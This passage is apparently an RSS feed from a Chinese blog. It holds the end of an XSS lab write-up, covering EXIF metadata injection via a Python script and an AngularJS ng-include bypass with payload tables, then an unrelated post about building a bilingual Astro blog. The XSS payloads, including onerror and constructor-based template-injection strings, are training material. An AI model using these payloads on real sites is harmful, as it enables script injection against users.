    exif_dict = {&quot;0th&quot;: {}, &quot;Exif&quot;: {}, &quot;GPS&quot;: {}, &quot;1st&quot;: {}, &quot;thumbnail&quot;: None}
    exif_dict[&quot;0th&quot;][piexif.ImageIFD.Model] = payload.encode(&apos;utf-8&apos;)

    # 4. 生成字节流并保存
    exif_bytes = piexif.dump(exif_dict)
    img.save(output_filename, exif=exif_bytes)
    print(f&quot;[+] 生成成功: {output_filename}&quot;)
    print(&quot;[+] Payload 已写入相机型号字段&quot;)

except Exception as e:
    print(f&quot;[-] 出错了: {e}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Exif 注入&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;核心概念&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Exif 是什么&lt;/strong&gt;：图片的“隐藏备注信息”（元数据），包含相机型号、拍摄时间、GPS等。存放在 JPG 文件头部。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;注入原理&lt;/strong&gt;：Exif 本质是文本。攻击者使用工具将“相机型号”等字段修改为 &lt;strong&gt;恶意代码&lt;/strong&gt;（如 XSS Payload）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;触发条件&lt;/strong&gt;：服务器端读取了图片 Exif 信息（如 &lt;code&gt;exif_read_data()&lt;/code&gt;），并且&lt;strong&gt;没有过滤&lt;/strong&gt;就直接显示在页面上或存入数据库。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;
&lt;p&gt;攻击流程&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;制作&lt;/strong&gt;：用 ExifTool 或 Python 脚本，将 Payload 写入图片字段。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;上传&lt;/strong&gt;：将“带毒”图片上传至目标网站。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;执行&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Stored XSS&lt;/strong&gt;：当用户/管理员查看图片详情页时触发。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SQL 注入&lt;/strong&gt;：当后端将 Exif 信息存入数据库时触发（较少见）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;| &lt;strong&gt;注入字段 (Tag Name)&lt;/strong&gt;  | &lt;strong&gt;含义&lt;/strong&gt; | &lt;strong&gt;推荐指数&lt;/strong&gt; | &lt;strong&gt;原因&lt;/strong&gt;               |
| -------------------- | ------ | -------- | -------------------- |
| &lt;strong&gt;Model&lt;/strong&gt;            | 相机型号   | ⭐⭐⭐⭐⭐    | 最常被读取和显示，Level 14 考点 |
| &lt;strong&gt;Make&lt;/strong&gt;             | 相机制造商  | ⭐⭐⭐⭐⭐    | 常与 Model 一起被显示       |
| &lt;strong&gt;ImageDescription&lt;/strong&gt; | 图像描述   | ⭐⭐⭐⭐     | 允许字符较长，适合长 Payload   |
| &lt;strong&gt;UserComment&lt;/strong&gt;      | 用户注释   | ⭐⭐⭐⭐     | 专门留给用户写的，容量大         |
| &lt;strong&gt;Artist&lt;/strong&gt;           | 摄影师/作者 | ⭐⭐⭐      | 有些相册程序会显示作者名         |
| &lt;strong&gt;Copyright&lt;/strong&gt;        | 版权信息   | ⭐⭐⭐      | 通常显示在页面底部            |&lt;/p&gt;
&lt;h2&gt;第十五关&lt;/h2&gt;
&lt;p&gt;源码呈现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;html ng-app&gt;
&amp;#x3C;head&gt;
        &amp;#x3C;meta charset=&quot;utf-8&quot;&gt;
        &amp;#x3C;script src=&quot;angular.min.js&quot;&gt;&amp;#x3C;/script&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level16.php?keyword=test&quot;; 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level15&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到第15关，自己想个办法走出去吧！&amp;#x3C;/h1&gt;
&amp;#x3C;p align=center&gt;&amp;#x3C;img src=level15.png&gt;&amp;#x3C;/p&gt;
&amp;#x3C;?php 
ini_set(&quot;display_errors&quot;, 0);
$str = $_GET[&quot;src&quot;];
echo &apos;&amp;#x3C;body&gt;&amp;#x3C;span class=&quot;ng-include:&apos;.htmlspecialchars($str).&apos;&quot;&gt;&amp;#x3C;/span&gt;&amp;#x3C;/body&gt;&apos;;
?&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.这关的核心技术是 &lt;strong&gt;AngularJS&lt;/strong&gt; 的前端包含漏洞。&lt;/p&gt;
&lt;p&gt;当然直接看网页源码也能看得出来&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;html ng-app&gt;
&amp;#x3C;head&gt;
        &amp;#x3C;meta charset=&quot;utf-8&quot;&gt;
        &amp;#x3C;script src=&quot;angular.min.js&quot;&gt;&amp;#x3C;/script&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level16.php?keyword=test&quot;; 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level15&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到第15关，自己想个办法走出去吧！&amp;#x3C;/h1&gt;
&amp;#x3C;p align=center&gt;&amp;#x3C;img src=level15.png&gt;&amp;#x3C;/p&gt;
&amp;#x3C;body&gt;&amp;#x3C;span class=&quot;ng-include:&quot;&gt;&amp;#x3C;/span&gt;&amp;#x3C;/body&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2.&lt;strong&gt;&lt;code&gt;ng-include&lt;/code&gt; 是什么？&lt;/strong&gt; 这是 AngularJS 的一个指令（Directive）。它的作用类似于 PHP 的 &lt;code&gt;include&lt;/code&gt;，用来&lt;strong&gt;把外部的一个 HTML 文件抓取过来，并放到当前标签里显示&lt;/strong&gt;。&lt;strong&gt;原本的设计意图&lt;/strong&gt;：这关原本是接着 Level 14 的。作者想让你在 Level 14 上传一个含有 Payload 的图片（比如 &lt;code&gt;1.jpg&lt;/code&gt;），然后在 Level 15 里引用它 (&lt;code&gt;?src=&apos;1.jpg&apos;&lt;/code&gt;)。AngularJS 会把图片当成 HTML 代码执行。但是很遗憾14关坏掉了。&lt;/p&gt;
&lt;p&gt;3.但是我们可以换个思路 从第一关入手，我们可以如下构造&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;level15.php?src=&apos;level1.php?name=&amp;#x3C;img src=1 onerror=alert(1)&gt;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;为什么不用 &lt;code&gt;&amp;#x3C;script&gt;&lt;/code&gt;？因为 AngularJS 通过 &lt;code&gt;ng-include&lt;/code&gt; 加载进来的 HTML，如果不做特殊处理，直接的 &lt;code&gt;&amp;#x3C;script&gt;&lt;/code&gt; 标签往往不会执行，但 &lt;code&gt;&amp;#x3C;img&gt;&lt;/code&gt; 标签的 &lt;code&gt;onerror&lt;/code&gt; 事件是肯定会触发的&lt;/p&gt;
&lt;p&gt;之所以这里经过了&lt;code&gt;htmlspecialchars()&lt;/code&gt;还能够正常使用，通过&lt;code&gt;ng-include &lt;/code&gt; 因为浏览器会自动处理实体编码 &lt;code&gt;&amp;#x26;lt;&lt;/code&gt; 还原为字符给 JS 使用，或者作为 URL 参数发送&lt;/p&gt;
&lt;h3&gt;AngularJS&lt;/h3&gt;
&lt;p&gt;| &lt;strong&gt;知识点&lt;/strong&gt;        | &lt;strong&gt;关键指令/符号&lt;/strong&gt;                  | &lt;strong&gt;作用 (正常功能)&lt;/strong&gt;                  | &lt;strong&gt;CTF/安全考点 (黑客视角)&lt;/strong&gt;                                  | &lt;strong&gt;典型 Payload / 场景&lt;/strong&gt;                               |
| -------------- | ---------------------------- | ------------------------------ | ---------------------------------------------------- | ------------------------------------------------- |
| &lt;strong&gt;启动指令&lt;/strong&gt;       | &lt;code&gt;ng-app&lt;/code&gt;                     | 定义 Angular 应用的根元素，告诉框架从这里开始解析。 | 如果页面没开 Angular，你可以注入这个属性强制开启，从而进行后续攻击。               | &lt;code&gt;&amp;#x3C;html ng-app&gt;&lt;/code&gt;                                   |
| &lt;strong&gt;文件包含&lt;/strong&gt;       | &lt;code&gt;ng-include&lt;/code&gt;                 | 加载外部 HTML 片段并编译执行。             | &lt;strong&gt;绕过本地过滤&lt;/strong&gt;。将 XSS Payload 藏在另一个文件或 URL 中，利用此指令“借刀杀人”。 | &lt;code&gt;&amp;#x3C;div ng-include=&quot;&apos;level1.php?x=payload&apos;&quot;&gt;&amp;#x3C;/div&gt;&lt;/code&gt; |
| &lt;strong&gt;模板表达式&lt;/strong&gt;      | &lt;code&gt;{{ }}&lt;/code&gt;                      | 在 HTML 中输出变量或简单的计算结果。          | &lt;strong&gt;CSTI (模板注入)&lt;/strong&gt;。利用特殊的构造绕过沙箱，执行任意 JS 代码。              | &lt;code&gt;{{constructor.constructor(&apos;alert(1)&apos;)()}}&lt;/code&gt;       |
| &lt;strong&gt;事件指令&lt;/strong&gt;       | &lt;code&gt;ng-click&lt;/code&gt;&lt;code&gt;ng-mouseover&lt;/code&gt; | 绑定鼠标点击、悬停等事件。                  | 类似于原生的 &lt;code&gt;onclick&lt;/code&gt;，但属于 Angular 体系，有时能绕过对标准 HTML 事件的过滤。 | &lt;code&gt;&amp;#x3C;div ng-mouseover=&quot;x=1&quot;&gt;&lt;/code&gt;                        |
| &lt;strong&gt;不安全 HTML&lt;/strong&gt;   | &lt;code&gt;ng-bind-html&lt;/code&gt;               | 将 HTML 内容绑定到元素上。               | 如果没有配合 &lt;code&gt;$sce&lt;/code&gt; (严格上下文转义) 使用，会导致 DOM 型 XSS。            | &lt;code&gt;&amp;#x3C;div ng-bind-html=&quot;user_input&quot;&gt;&lt;/code&gt;                 |
| &lt;strong&gt;过滤器&lt;/strong&gt;        | &lt;code&gt;\|&lt;/code&gt;                         | &lt;code&gt;\|&lt;/code&gt; (管道符)                     | 格式化数据（如大小写转换、排序）。                                    | 有时用来混淆 Payload，或者在老版本中利用 &lt;code&gt;orderBy&lt;/code&gt; 等过滤器进行沙箱逃逸。    |
| &lt;strong&gt;No-Execute&lt;/strong&gt; | &lt;code&gt;ng-non-bindable&lt;/code&gt;            | 告诉 Angular &lt;strong&gt;不要&lt;/strong&gt;解析该元素的内容。     | &lt;strong&gt;防御手段&lt;/strong&gt;。如果你看到这个，说明你的注入在这块区域会失效。                     | &lt;code&gt;&amp;#x3C;span ng-non-bindable&gt;{{1+1}}&amp;#x3C;/span&gt;&lt;/code&gt;            |&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>踩坑记录：我是如何把这个双语博客折腾出来的</title><link>https://zh.maxtonniu.com/blog/howideveloptheblog</link><guid isPermaLink="true">https://zh.maxtonniu.com/blog/howideveloptheblog</guid><description>杂谈&amp;&amp;博客艰辛</description><pubDate>Mon, 22 Dec 2025 22:41:00 GMT</pubDate><content:encoded>&lt;p&gt;如果你看到了这篇文章，说明我已经成功了。🎉&lt;/p&gt;
&lt;p&gt;看着现在这个运行流畅、中英文切换丝滑的博客，你可能想象不到，就在几个小时前，我还在对着满屏的报错日志怀疑人生。&lt;/p&gt;
&lt;p&gt;这篇文章不聊高深的技术，纯粹记录一下我是如何把 &lt;strong&gt;Astro Pure&lt;/strong&gt; 主题魔改成一个&lt;strong&gt;部署在 Cloudflare 上的双语（中/英）独立站点&lt;/strong&gt;的。如果你也想搞一个类似的双语博客。&lt;/p&gt;
&lt;h2&gt;1. 架构设想：一分为二&lt;/h2&gt;
&lt;p&gt;最开始我就决定了，不要搞复杂的国际化路由（i18n routing），太麻烦。我的需求很简单粗暴：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;中文站&lt;/strong&gt;：&lt;code&gt;zh.maxtonniu.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;英文站&lt;/strong&gt;：&lt;code&gt;en.maxtonniu.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;部署&lt;/strong&gt;：Cloudflare Pages（免费又快，还不用备案）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;于是我建立了两个 GitHub 仓库，分别对应两个站点。听起来很完美，对吧？噩梦开始了。&lt;/p&gt;
&lt;h2&gt;2. 第一个坑：同构路由跳转 (Magic Switch)&lt;/h2&gt;
&lt;p&gt;有了两个域名，最大的问题是：&lt;strong&gt;我在中文站看关于页 &lt;code&gt;/about&lt;/code&gt;，点了 &quot;English&quot; 按钮，怎么自动跳到英文站的 &lt;code&gt;/about&lt;/code&gt;，而不是傻傻地跳回英文首页？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;由于 Astro Pure 主题的 Header 组件藏得很深（或者说为了不破坏源码），我不想去改组件代码。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解决方案：暗号拦截法&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我在 &lt;code&gt;site.config.ts&lt;/code&gt; 里把切换按钮的链接填成了一个“暗号”：&lt;code&gt;#switch-lang&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;然后，我在全局布局文件 &lt;code&gt;BaseLayout.astro&lt;/code&gt; 的底部注入了一段魔法脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// 脚本逻辑：找到暗号链接，自动拼接当前路径
const targetDomain = &apos;[https://en.maxtonniu.com](https://en.maxtonniu.com)&apos;; // 英文站填这个

document.addEventListener(&apos;DOMContentLoaded&apos;, () =&gt; {
  const langBtn = document.querySelector(&apos;a[href=&quot;#switch-lang&quot;]&apos;);
  if (langBtn) {
    // 自动把 #switch-lang 替换成 [https://en.maxtonniu.com/当前路径](https://en.maxtonniu.com/当前路径)
    langBtn.href = targetDomain + window.location.pathname;
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样，无论我在哪个页面，点击按钮都能精准穿越到另一个平行宇宙。&lt;/p&gt;
&lt;h2&gt;3.第二个坑：模式切换&lt;/h2&gt;
&lt;p&gt;解决了跳转，又来了个新问题：浏览器的 &lt;code&gt;localStorage&lt;/code&gt; 是按域名隔离的。&lt;/p&gt;
&lt;p&gt;我在中文站开了“深色模式”，一跳到英文站，瞎了——英文站还是默认的“亮色模式”。这体验太割裂了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解决方案：URL 传参接力&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我修改了上面的脚本，在跳转时偷偷在 URL 屁股后面带了个参数：&lt;code&gt;?sync_theme=dark&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;然后在页面加载的最早期（&lt;code&gt;&amp;#x3C;head&gt;&lt;/code&gt; 标签里），写了一段脚本来“接球”：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// 检查 URL 有没有带主题参数
const params = new URLSearchParams(window.location.search);
const theme = params.get(&apos;sync_theme&apos;);

if (theme) {
  // 强制写入本地存储
  localStorage.setItem(&apos;theme&apos;, theme);
  // 立即给 html 标签加上 dark 类，防止闪烁
  document.documentElement.classList.add(&apos;dark&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在，主题就像接力棒一样在两个域名之间传递，丝般顺滑。&lt;/p&gt;
&lt;h2&gt;4.第三个坑：“幽灵文件”&lt;/h2&gt;
&lt;p&gt;本地运行 &lt;code&gt;npm run dev&lt;/code&gt; 一切正常，一推送到 Cloudflare 就报错：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;[vite]: Rollup failed to resolve import &quot;@/assets/tools/zotero.svg?raw&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;原因是我删掉了主题自带的示例图片 &lt;code&gt;zotero.svg&lt;/code&gt;，但在代码里忘了删引用。 &lt;strong&gt;教训&lt;/strong&gt;：本地开发环境是“懒加载”的，不报错不代表没问题；线上构建是“地毯式搜索”，眼里容不得沙子。删了资源，一定要记得删引用！&lt;/p&gt;
&lt;h2&gt;5.最终 Boss：灰色的 404&lt;/h2&gt;
&lt;p&gt;经历了九九八十一难，终于显示 &lt;code&gt;Success: Uploaded&lt;/code&gt;。我激动的打开网址，结果：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;404 Not Found&lt;/strong&gt; (Astro 默认的灰色页面)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;但我明明上传了代码啊！为什么首页是空的？&lt;/p&gt;
&lt;p&gt;排查了半天，发现控制台日志里有一行刺眼的信息： &lt;code&gt;[build] adapter: @astrojs/vercel&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;破案了！&lt;/strong&gt; 我复制的配置代码里，居然残留着 &lt;code&gt;adapter: vercel()&lt;/code&gt;。这相当于我把代码打包成了 &lt;strong&gt;Vercel 专用&lt;/strong&gt; 的格式（Serverless Functions），然后硬塞给了 &lt;strong&gt;Cloudflare Pages&lt;/strong&gt;。Cloudflare 看不懂这些代码，找不到 &lt;code&gt;index.html&lt;/code&gt;，只能两手一摊。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;终极修复：&lt;/strong&gt; 修改 &lt;code&gt;astro.config.mjs&lt;/code&gt;，删掉 Vercel 适配器，回归纯真：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;export default defineConfig({
  // 删掉 adapter: vercel()
  output: &apos;static&apos;, // 告诉 Astro，我要纯纯的静态网页！
  // ...
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;推送到 GitHub，Cloudflare 重新构建，绿色的 &lt;code&gt;Success&lt;/code&gt; 再次亮起。这一次，页面出现了。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;以上由Gemini代本人亲情书写&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item></channel></rss>